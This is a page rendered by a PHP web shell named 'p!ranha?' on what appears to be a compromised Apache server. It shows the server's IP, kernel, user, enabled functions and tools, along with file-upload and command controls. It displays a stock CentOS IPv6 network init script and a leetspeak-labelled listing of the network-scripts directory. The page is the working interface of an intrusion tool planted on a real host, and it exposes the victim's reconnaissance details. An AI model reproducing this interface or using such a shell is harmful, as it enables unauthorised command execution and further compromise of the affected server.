p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.108
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /etc/sysconfig/network-scripts/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /etc/sysconfig/network-scripts/init.ipv6-global
#!/bin/sh
#
# init.ipv6-global
#
#
# Taken from: init.ipv6-global
# (P) & (C) 2001-2005 by Peter Bieringer <pb@bieringer.de>
#
#  You will find more information on the initscripts-ipv6 homepage at
#   http://www.deepspace6.net/projects/initscripts-ipv6.html
#
# RHL integration assistance by Pekka Savola <pekkas@netcore.fi>
#
# Version: 2005-01-04
#
# Calling parameters:
#  $1: action (currently supported: start|stop|showsysctl)
#  $2: position for start|stop (currently supported: pre|post)
#
# Called by hooks from /etc/[rc.d/]init.d/network
#
# Uses following information from /etc/sysconfig/network:
#  IPV6FORWARDING=yes|no: controls global IPv6 forwarding (default: no)
#  IPV6_AUTOCONF=yes|no: controls global automatic IPv6 configuration
#   (default: yes if IPV6FORWARDING=no, no if IPV6FORWARDING=yes)
#  IPV6_AUTOTUNNEL=yes|no: controls automatic IPv6 tunneling (default: no)
#  IPV6_DEFAULTGW=<ipv6address[%interface]> [optional]
#  IPV6_DEFAULTDEV=<interface> [optional]
#

. /etc/sysconfig/network

cd /etc/sysconfig/network-scripts
. ./network-functions

# Get action and hook position
ACTION="$1"
POSITION="$2"

[ -f /etc/sysconfig/network-scripts/network-functions-ipv6 ] || exit 1
. /etc/sysconfig/network-scripts/network-functions-ipv6

# Initialize IPv6, depending on caller option
case $ACTION in
start)
    case $POSITION in
    pre)
        # IPv6 test, module loaded, exit if system is not IPv6-ready
        ipv6_test || exit 1

        if [ "$IPV6FORWARDING" = "yes" ]; then
            ipv6_global_forwarding=1
            ipv6_global_auto=0
        else
            ipv6_global_forwarding=0
            if [ "$IPV6_AUTOCONF" = "no" ]; then
                ipv6_global_auto=0
            else
                ipv6_global_auto=1
            fi
        fi

        if [ ! "$IPV6_SET_SYSCTLS" = "no" ]; then
            # Reset IPv6 sysctl switches for "all", "default" and still existing devices
            for i in /proc/sys/net/ipv6/conf/* ; do
                interface=${i##*/}
                sinterface=${interface/.//}
                # Host/Router behaviour for the interface
                /sbin/sysctl -e -w net.ipv6.conf.$sinterface.forwarding=$ipv6_global_forwarding >/dev/null 2>&1

                # Autoconfiguration and redirect handling for Hosts
                /sbin/sysctl -e -w net.ipv6.conf.$sinterface.accept_ra=$ipv6_global_auto >/dev/null 2>&1
                /sbin/sysctl -e -w net.ipv6.conf.$sinterface.accept_redirects=$ipv6_global_auto >/dev/null 2>&1
            done
        fi
        ;;

    post)
        # IPv6 test, module loaded, exit if system is not IPv6-ready
        ipv6_test || exit 1

        if [ "$IPV6_AUTOTUNNEL" = "yes" ]; then
            ipv6_enable_autotunnel
            # autotunnel interface doesn't require a MTU setup
        fi

        ## Add some routes which should never appear on the wire
        # Unreachable IPv4-only addresses, normally blocked by source address selection
        /sbin/ip route add unreach    ::ffff:0.0.0.0/96
        # Unreachable IPv4-mapped addresses
        /sbin/ip route add unreach    ::0.0.0.0/96
        # Unreachable 6to4: IPv4 multicast, reserved, limited broadcast
        /sbin/ip route add unreach    2002:e000::/19
        # Unreachable 6to4: IPv4 loopback
        /sbin/ip route add unreach    2002:7f00::/24
        # Unreachable 6to4: IPv4 private (RFC 1918)
        /sbin/ip route add unreach    2002:0a00::/24
        /sbin/ip route add unreach    2002:ac10::/28
        /sbin/ip route add unreach    2002:c0a8::/32
        # Unreachable 6to4: IPv4 private (APIPA / DHCP link-local)
        /sbin/ip route add unreach    2002:a9fe::/32
        # Unreachable IPv6: 6bone test addresses
        /sbin/ip route add unreach    3ffe:ffff::/32

        # Set default route for autotunnel, if specified
        if [ "$IPV6_DEFAULTDEV" = "sit0" -a "$IPV6_AUTOTUNNEL" = "yes" ]; then
            if [ -n "$IPV6_DEFAULTGW" ]; then
                ipv6_set_default_route $IPV6_DEFAULTGW $IPV6_DEFAULTDEV sit0
            elif [ -n "$IPV6_DEFAULTDEV" ]; then
                ipv6_set_default_route "" $IPV6_DEFAULTDEV sit0
            fi
        fi
        ;;

    *)
        echo "Usage: $0 $1 {pre|post}"
        ;;

    esac
    ;;

stop)
    case $POSITION in
    pre)
        ;;

    post)
        # IPv6 test, no module loaded, exit if system is not IPv6-ready
        ipv6_test testonly || exit 0

        if [ ! "$IPV6_SET_SYSCTLS" = "no" ]; then
            for i in /proc/sys/net/ipv6/conf/* ; do
                interface=${i##*/}
                sinterface=${interface/.//}
                # Assume Host behaviour
                /sbin/sysctl -e -w net.ipv6.conf.$sinterface.forwarding=0 >/dev/null 2>&1

                # Disable autoconfiguration and redirects
                /sbin/sysctl -e -w net.ipv6.conf.$sinterface.accept_ra=0 >/dev/null 2>&1
                /sbin/sysctl -e -w net.ipv6.conf.$sinterface.accept_redirects=0 >/dev/null 2>&1
            done
        fi

        # Cleanup still existing tunnel devices
        ipv6_cleanup_tunnel_devices

        # Shut down generic tunnel interface now
        if ipv6_test_device_status sit0 ; then
            /sbin/ip link set sit0 down
        fi
        ;;

    *)
        echo "Usage: $0 $1 {pre|post}"
        ;;

    esac
    ;;

*)
    echo $"Usage: $0 {start|stop|reload|restart|showsysctl}"
    exit 1
    ;;
esac
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:00:44
0 / 0
0755
ifcfg-eth0
0.403 KB
December 20 2023 04:38:53
0 / 0
0644
ifcfg-lo
0.248 KB
May 22 2020 10:44:33
0 / 0
0644
ifdown
1.612 KB
May 22 2020 10:44:33
0 / 0
0755
ifdown-Team
1.583 KB
December 09 2018 08:57:18
0 / 0
0755
ifdown-TeamPort
1.52 KB
December 09 2018 08:57:18
0 / 0
0755
ifdown-bnep
0.639 KB
May 22 2020 10:44:33
0 / 0
0755
ifdown-eth
6.379 KB
May 22 2020 10:44:33
0 / 0
0755
ifdown-ippp
0.763 KB
May 22 2020 10:44:33
0 / 0
0755
ifdown-ipv6
4.434 KB
May 22 2020 10:44:33
0 / 0
0755
ifdown-isdn
0.763 KB
May 22 2020 10:44:33
0 / 0
0755
ifdown-post
2.08 KB
May 22 2020 10:44:33
0 / 0
0755
ifdown-ppp
1.043 KB
May 22 2020 10:44:33
0 / 0
0755
ifdown-routes
0.85 KB
May 22 2020 10:44:33
0 / 0
0755
ifdown-sit
1.422 KB
May 22 2020 10:44:33
0 / 0
0755
ifdown-tunnel
1.428 KB
May 22 2020 10:44:33
0 / 0
0755
ifup
4.893 KB
May 22 2020 10:44:33
0 / 0
0755
ifup-Team
1.714 KB
December 09 2018 08:57:18
0 / 0
0755
ifup-TeamPort
1.832 KB
December 09 2018 08:57:18
0 / 0
0755
ifup-aliases
12.124 KB
May 22 2020 10:44:33
0 / 0
0755
ifup-bnep
0.889 KB
May 22 2020 10:44:33
0 / 0
0755
ifup-eth
13.436 KB
May 22 2020 10:44:33
0 / 0
0755
ifup-ippp
11.792 KB
May 22 2020 10:44:33
0 / 0
0755
ifup-ipv6
11.614 KB
May 22 2020 10:44:33
0 / 0
0755
ifup-isdn
11.792 KB
May 22 2020 10:44:33
0 / 0
0755
ifup-plip
0.635 KB
May 22 2020 10:44:33
0 / 0
0755
ifup-plusb
1.039 KB
May 22 2020 10:44:33
0 / 0
0755
ifup-post
4.88 KB
May 22 2020 10:44:33
0 / 0
0755
ifup-ppp
4.057 KB
May 22 2020 10:44:33
0 / 0
0755
ifup-routes
1.954 KB
May 22 2020 10:44:33
0 / 0
0755
ifup-sit
3.226 KB
May 22 2020 10:44:33
0 / 0
0755
ifup-tunnel
2.715 KB
May 22 2020 10:44:33
0 / 0
0755
ifup-wireless
1.793 KB
May 22 2020 10:44:33
0 / 0
0755
init.ipv6-global
5.292 KB
May 22 2020 10:44:33
0 / 0
0755
network-functions
20.193 KB
May 22 2020 10:44:33
0 / 0
0644
network-functions-ipv6
30.262 KB
May 22 2020 10:44:33
0 / 0
0644